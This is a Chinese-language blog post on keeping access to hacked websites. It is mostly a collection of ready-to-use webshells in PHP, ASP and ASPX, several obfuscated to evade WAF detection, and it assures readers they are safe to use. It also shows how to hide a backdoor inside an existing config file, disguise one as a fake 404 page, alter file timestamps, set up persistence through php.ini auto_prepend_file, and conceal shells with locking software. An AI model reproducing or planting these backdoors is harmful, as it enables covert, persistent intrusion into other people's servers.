前言


俗话说的好,打江山容易,守江山难。
今天我们就来看看守江山的方式吧

网站后门的艺术

webshell本身权限下面的权限维持

1 不被的waf查杀
其实大家在这里一直很纠结,很纠结。当初我也很纠结纠结。
下面是我网上收集的一些小马,大家可以放心使用


<?php
$item['wind'] = 'assert';
$array[] = $item;
$array[0]['wind']($_POST['whirlwind']); ?//密码whirlwind 菜刀
?>

<%eval request(0)%> ? asp
<?=eval($_POST[0]);?> ? ? ? ? PHP缩小版

<%@Page Language=JS%><%eval(Request.Item(0),"unsafe");%> ?

asp
<%
Function MorfiCoder(Code)
 ?MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*",vbCrlf)
End Function
Execute MorfiCoder(")/*/z/*/(tseuqer lave")
%>

aspx

<script runat="server" language="JScript">
 ? function popup(str) {
 ?var q = "u";
 ?var w = "afe";
 ?var a = q + "ns" + w;
 ?var b= eval(str,a);
 ?return(b);
 ? }
</script>
<%
popup(popup(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));
%>

2 在源码中插入
例如


<?php
include("config.php");
@eval($_POST['onfig.php']);
$conn = @mysql_connect($config_ip,$config_name,$config_pass) or die ("链接错误");
mysql_select_db($config_dbname,$conn);
mysql_query("set names 'UTF8'");

?>

4 文件的名称跟时间修改
文件的名称,小编建议尽量不要使用自己新建的文件,而选择在网站自身具有的文件中插入我们的后门代码。切记修改文件的时间,时间,时间。

5 将一些基本的功能函数写到的文件中去
比如经典的文件读取功能


<?php
$file_path = "1.txt";
if(file_exists($file_path)){
$str = file_get_contents($file_path);
$str = str_replace("\r\n","<br />",$str);
echo $str;
}
?>

文件直接打印


<?php
include("config.php");
$conn = @mysql_connect($config_ip,$config_name,$config_pass) or die ("链接错误");

echo $config_name;用户名
echo '-----';
echo $config_pass;密码
mysql_select_db($config_dbname,$conn);
mysql_query("set names 'UTF8'");

?>

6 文件包含


<?php ?
 ? ?if(@isset($_GET[content])) ?
 ? ?{ ?
 ? ?$fp=fopen('README','w'); ?
 ? ?file_put_contents('README',"<?php\r\n"); ?
 ? ?@file_put_contents('README',$_GET[content],FILE_APPEND); ?
 ? ?fclose($fp); ?
 ? ?require 'README';} ?
?>

7 混淆
用过weevely工具的童鞋应该知道,其生成的免杀shell像这样


<?php ?
 ? ?$penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30="; ?
 ? ?$kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn"; ?
 ? ?$ftdf = str_replace("w","","stwrw_wrwepwlwawcwe"); ?
 ? ?$wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk"; ?
 ? ?$zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"; ?
 ? ?$smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe"); ?
 ? ?$jgfi = $ftdf("l","","lclrlelaltel_functlilon"); ?
 ? ?$rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm(); ?
?>
`

8 隐匿
为了不让访问者发现后门的存在,机智的安全研究员也会混淆视听故弄玄虚


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> ?
 ? ?<html><head> ?
 ? ?<title>404 Not Found</title> ?
 ? ?</head> ?
 ? ?<body> ?
 ? ?<h1>Not Found</h1> ?
 ? ?<p>The requested URL was not found on this server.</p> ?
 ? ?</body> ?
 ? ?</html> ?
<?php ?
 ? ?@preg_replace("/[checksql]/e",$_POST['cmd'],"saft"); ?
?>

9 利用漏洞
比如很经典的文件包含,服务器解析漏洞等。针对具体环境做出针对性的使用,往往会达到出其不意的效果

高权限下面的权限维持:
1 巧用 php.ini 留后门维持权限(需要高权限)
php.ini 配置文件(http://php.net/manual/zh/configuration.file.php)在 PHP 启动时被读取一次;包含 auto_prepend_file 与 auto_append_file 两个选项,其功能是让所有的 php 文件均包含这两个选项指定的文件;auto_prepend_file 是在首部包含,auto_append_file 是在尾部包含;这就可以造成文件包含漏洞来实现权限维持,即在这两个选项中指定任意包含恶意代码的文件即可。
具体的使用方式大家可以参见下面的详细链接:


https://www.bodkin.ren/?p=887

2 驱动隐藏
如果在我们拥有服务器权限时,小编建议大家使用Easy File Locker软件来进行对webshell的隐藏。小编推荐,绝属精品。不信?来瞅瞅吧
软件下载地址为:


http://www.xoslab.com/efl.html

使用流程,下载—-》安装—-》设置密码—-》加载要隐藏的webshell—》设置WEBSHELL的权限为可读,其他权限全部干掉—-》》关闭软件,删除安装目录完成

总结

如果我们仅仅只是知道漏洞,拿下网站控制权限。那么会有很多人笑话我们说是脚本小子,假如我们有一天了解业务逻辑,通过留下一些逻辑漏洞来实现长久控制时,那么世界会是什么样子呢?而很多开发人员就是这么来做的。
参考链接
http://www.cnblogs.com/Fly-Wind/p/php.html

http://www.91ri.org/11494.html

喜欢我们就请长按下面的图片关注我们吧。

0?wx_fmt=jpeg 如何隐藏webshell?来和小编一起学习吧

You may also like

No Comment

You can post first response comment.

Leave A Comment

Please enter your name. Please enter an valid email address. Please enter a message.